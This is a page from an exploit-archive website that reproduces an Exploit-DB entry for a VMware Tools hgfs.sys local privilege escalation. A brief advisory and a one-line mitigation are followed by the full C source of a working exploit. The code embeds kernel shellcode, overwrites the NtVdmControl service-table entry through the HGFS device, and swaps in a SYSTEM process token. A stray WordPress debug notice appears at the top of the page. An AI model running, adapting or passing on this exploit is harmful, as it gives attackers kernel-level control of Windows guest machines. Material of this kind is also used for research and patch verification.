Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
VMware Tools Privilege Escalation Vulnerability - exploit.company
header-logo
Suggest Exploit
vendor:
VMware Tools
by:
SoBeIt
7.5
CVSS
HIGH
Privilege Escalation
269
CWE
Product Name: VMware Tools
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows XP PRO SP2 Chinese, Windows XP PRO SP2 English, Windows 2003 PRO SP1 Chinese, Windows 2003 PRO SP1 English

VMware Tools Privilege Escalation Vulnerability

The VMware Tools application fails to properly drop privileges before performing certain functions, allowing an attacker to exploit this vulnerability in the guest operating system to elevate privileges in the host operating system.

Mitigation:

Apply the necessary updates or patches provided by VMware to fix this vulnerability.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/26556/info

VMware Tools is prone to a privilege-escalation vulnerability.

The application fails to properly drop privileges before performing certain functions. An attacker can exploit this in the guest opertaing system to elevate privileges in the host operating system. 

/*
        VMware Tools hgfs.sys Local Privilege Escalation Vulnerability Exploit
                        Created by SoBeIt

        Main file of exploit

        Tested on:

        Windows XP PRO SP2 Chinese
        Windows XP PRO SP2 English
        Windows 2003 PRO SP1 Chinese
        Windows 2003 PRO SP1 English
        
        Usage:vmware.exe
*/

#include <stdio.h>
#include <windows.h>
#include <psapi.h>
        
#pragma comment (lib, "advapi32.lib")

#define NTSTATUS        int
#define ProcessBasicInformation        0
#define SystemModuleInformation 11
        
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG);
typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID);
typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOID, ULONG, USHORT, PULONG);

ZWVDMCONTROL        ZwVdmControl;
ZWQUERYINFORMATIONPROCESS        ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
RTLIMAGENTHEADER RtlImageNtHeader;
RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;

typedef struct _IMAGE_FIXUP_ENTRY {
        USHORT        Offset:12;
  USHORT        Type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
        ULONG Reserved[2];
        PVOID Base;
        ULONG Size;
        ULONG Flags;
        USHORT Index;
        USHORT Unknow;
        USHORT LoadCount;
        USHORT ModuleNameOffset;
        char ImageName[256];        
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
                                                        //ntoskrnl.exe
        {"ZwTerminateProcess"},
        {"PsLookupProcessByProcessId"},
        {""},
};

unsigned char shellcode[] = 
                "\x90\x60\x9c\xe9\xc4\x00\x00\x00\x5f\x4f\x47\x66\x81\x3f\x90\xcc"
                "\x75\xf8\x66\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\xbe\x38\xf0"
                "\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7\x95"
                "\x8b\xf7\x6a\x02\x59\xe8\x4d\x00\x00\x00\xe2\xf9\x8b\x4e\x0c\xe8"
                "\x29\x00\x00\x00\x50\x8b\x4e\x08\xe8\x20\x00\x00\x00\x5a\x8b\x7e"
                "\x1c\x8b\x0c\x3a\x89\x0c\x38\x56\x8b\x7e\x14\x8b\x4e\x18\x8b\x76"
                "\x10\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3\x83\xec\x04"
                "\x8d\x2c\x24\x55\x51\xff\x56\x04\x85\xc0\x0f\x85\x80\x8f\x00\x00"
                "\x8b\x45\x00\x83\xc4\x04\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78"
                "\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33"
                "\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1"
                "\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e"
                "\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x37\xff\xff"
                "\xff\x90\x90\x90"

                "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
        
void ErrorQuit(char *msg)
{
        printf("%s:%d\n", msg, GetLastError());
        ExitProcess(0);
}

void GetFunction()
{
        HANDLE        hNtdll;
        
        hNtdll = LoadLibrary("ntdll.dll");
        if(hNtdll == NULL)
                ErrorQuit("LoadLibrary failed.\n");

        ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
        if(ZwVdmControl == NULL)
                ErrorQuit("GetProcAddress failed.\n");
                
        ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
        if(ZwQueryInformationProcess == NULL)
                ErrorQuit("GetProcAddress failed.\n");
                
        ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
        if(ZwQuerySystemInformation == NULL)
                ErrorQuit("GetProcessAddress failed.\n");
                
        ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
        if(ZwAllocateVirtualMemory == NULL)
                ErrorQuit("GetProcAddress failed.\n");

        RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
        if(RtlImageNtHeader == NULL)
                ErrorQuit("GetProcAddress failed.\n");
                
        RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData");
        if(RtlImageDirectoryEntryToData == NULL)
                ErrorQuit("GetProcAddress failed.\n");
                
        FreeLibrary(hNtdll);
}

ULONG GetKernelBase(char *KernelName)
{
        ULONG        i, Byte, ModuleCount, KernelBase;
        PVOID        pBuffer;
        PSYSTEM_MODULE_INFORMATION        pSystemModuleInformation;
        PCHAR        pName;
        
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
                
        if((pBuffer = malloc(Byte)) == NULL)
                ErrorQuit("malloc failed.\n");
                
        if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
                ErrorQuit("ZwQuerySystemInformation failed\n");
        
        ModuleCount = *(PULONG)pBuffer;
        pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
        for(i = 0; i < ModuleCount; i++)
        {
                if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
                {
                        KernelBase = (ULONG)pSystemModuleInformation->Base;
                        printf("Kernel is %s\n", pSystemModuleInformation->ImageName);
                        free(pBuffer);
                        strcpy(KernelName, "ntoskrnl.exe");
                        
                        return KernelBase;
                }
                
                if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
                {
                        KernelBase = (ULONG)pSystemModuleInformation->Base;
                        printf("Kernel is %s\n", pSystemModuleInformation->ImageName);
                        free(pBuffer);
                        strcpy(KernelName, "ntkrnlpa.exe");
                        
                        return KernelBase;
                }
                
                pSystemModuleInformation++;
        }
                
        free(pBuffer);
        return 0;
}

ULONG GetServiceTable(PVOID pImageBase, ULONG Address)
{
        PIMAGE_NT_HEADERS        pNtHeaders;
        PIMAGE_BASE_RELOCATION        pBaseRelocation;
        PIMAGE_FIXUP_ENTRY        pFixupEntry;
        ULONG        RelocationTableSize = 0;
        ULONG        Offset, i, VirtualAddress, Rva;

        Offset = Address - (ULONG)pImageBase;
        pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase);
        pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, FALSE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize);
        if(pBaseRelocation == NULL)
                return 0;
                
        do 
        {
                pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
       
                RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1;
                for(i = 0; i < RelocationTableSize; i++, pFixupEntry++)
                {
                        if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW)
                        {
                                VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset;
                                Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase;
                               
                                if(Rva == Offset)
                                {
                                   if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7)
                                                return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase;
                                }
                        }
                }

                *(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock;
       
        } while(pBaseRelocation->VirtualAddress);

        return 0;
}

ULONG ComputeHash(char *ch)
{
        ULONG ret = 0;

        while(*ch)
        {
                ret = ((ret << 25) | (ret >> 7)) + *ch++;
        }

        return ret;
}

int main(int argc, char *argv[])
{
        PVOID                pDrivers[256];
        PULONG        pStoreBuffer, pTempBuffer, pShellcode;
        PUCHAR        pRestoreBuffer, pBase, FunctionAddress;
        PROCESS_BASIC_INFORMATION pbi;
        SYSTEM_MODULE_INFORMATION        smi;
        OSVERSIONINFO        ovi;
        char                DriverName[256], KernelName[64];
        ULONG                Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64];
        ULONG                HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber;
        ULONG                SSTOffset, AllocationSize;
        HANDLE        hDevice, hKernel;

        printf("\n VMware Tools hgfs.sys Local Privilege Escalation Vulnerability Exploit \n\n");
        printf("\t Create by SoBeIt. \n\n");
        if(argc != 1)
        {
                printf(" Usage:%s \n\n", argv[0]);
                return 1;
        }
        
        GetFunction();

        if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
                ErrorQuit("ZwQueryInformationProcess failed\n");

        KernelBase = GetKernelBase(KernelName);
        if(!KernelBase)
                ErrorQuit("Unable to get kernel base address.\n");
                
        printf("Kernel base address: %x\n", KernelBase);
        
        ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
        
        if(!GetVersionEx(&ovi))
                ErrorQuit("GetVersionEx failed.\n");
        
        if(ovi.dwMajorVersion != 5)
                ErrorQuit("Not Windows NT family OS.\n");
                
        printf("Major Version:%d Minor Version:%d\n", ovi.dwMajorVersion, ovi.dwMinorVersion);
        switch(ovi.dwMinorVersion)
        {
                case 1:                                                //WindowsXP
                        SystemId = 4;
                        TokenOffset = 0xc8;
                        break;
                        
                case 2:                                                //Windows2003
                        SystemId = 4;
                        TokenOffset = 0xc8;
                        break;
                        
                default:
                        SystemId = 8;
                        TokenOffset = 0xc8;
        }
        
        pRestoreBuffer = malloc(0x100);
        if(pRestoreBuffer == NULL)
                ErrorQuit("malloc failed.\n");
                
        hKernel = LoadLibrary(KernelName);
        if(hKernel == NULL)
                ErrorQuit("LoadLibrary failed.\n");

        printf("Load Base:%x\n", (ULONG)hKernel);
        SSTOffset = GetServiceTable(hKernel, (ULONG)GetProcAddress(hKernel, "KeServiceDescriptorTable"));
        SSTOffset += KernelBase;
        printf("SystemServiceTable Offset:%x\n", SSTOffset);
        FunctionNumber = *(PULONG)((ULONG)ZwVdmControl + 1);
        printf("NtVdmControl funciton number:%x\n", FunctionNumber);
        HookAddress = (ULONG)(SSTOffset + FunctionNumber * 4);
        printf("NtVdmCotrol function entry address:%x\n", HookAddress);

        AllocationSize = 0x1000;
        pStoreBuffer = (PULONG)0x7;
        if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize,
                                MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE))
                ErrorQuit("ZwAllocateVirtualMemory failed.\n");

        FunctionAddress = (PUCHAR)GetProcAddress(hKernel, "NtVdmControl");
        if(FunctionAddress == NULL)
                ErrorQuit("GetProcAddress failed.\n");
                
        *(PULONG)pRestoreBuffer = FunctionAddress - (PUCHAR)hKernel + KernelBase;
        
        memset((PVOID)0x0, 0x90, AllocationSize);

        hDevice = CreateFile("\\\\.\\HGFS", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if(hDevice == INVALID_HANDLE_VALUE)
                ErrorQuit("CreateFile failed.\n");
                                        
        pShellcode = (PULONG)shellcode;
        for(k = 0; pShellcode[k++] != 0x90cccc90; )
                                ;

        for(j = 0; kfunctions[j][0] != '\x0'; j++)
                buf[j] = ComputeHash(kfunctions[j]);

        buf[j++] = pbi.InheritedFromUniqueProcessId;
        buf[j++] = SystemId;
        buf[j++] = (ULONG)pRestoreBuffer;
        buf[j++] = HookAddress;
        buf[j++] = 0x4;
        buf[j++] = TokenOffset;
        
        memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
        memcpy((PUCHAR)pStoreBuffer + 0x20, shellcode, sizeof(shellcode) - 1);

        pTempBuffer = malloc(0x1000);
        memset(pTempBuffer, 0x44, 0x1000);
        
        DeviceIoControl(hDevice, 0x14018F, (PVOID)HookAddress, 0x4, pTempBuffer, 0x4, &Byte, NULL);

        CloseHandle(hDevice);
        CloseHandle(hKernel);

        printf("Exploitation finished.\n");
        ZwVdmControl(0, NULL);

        return 1;
}
//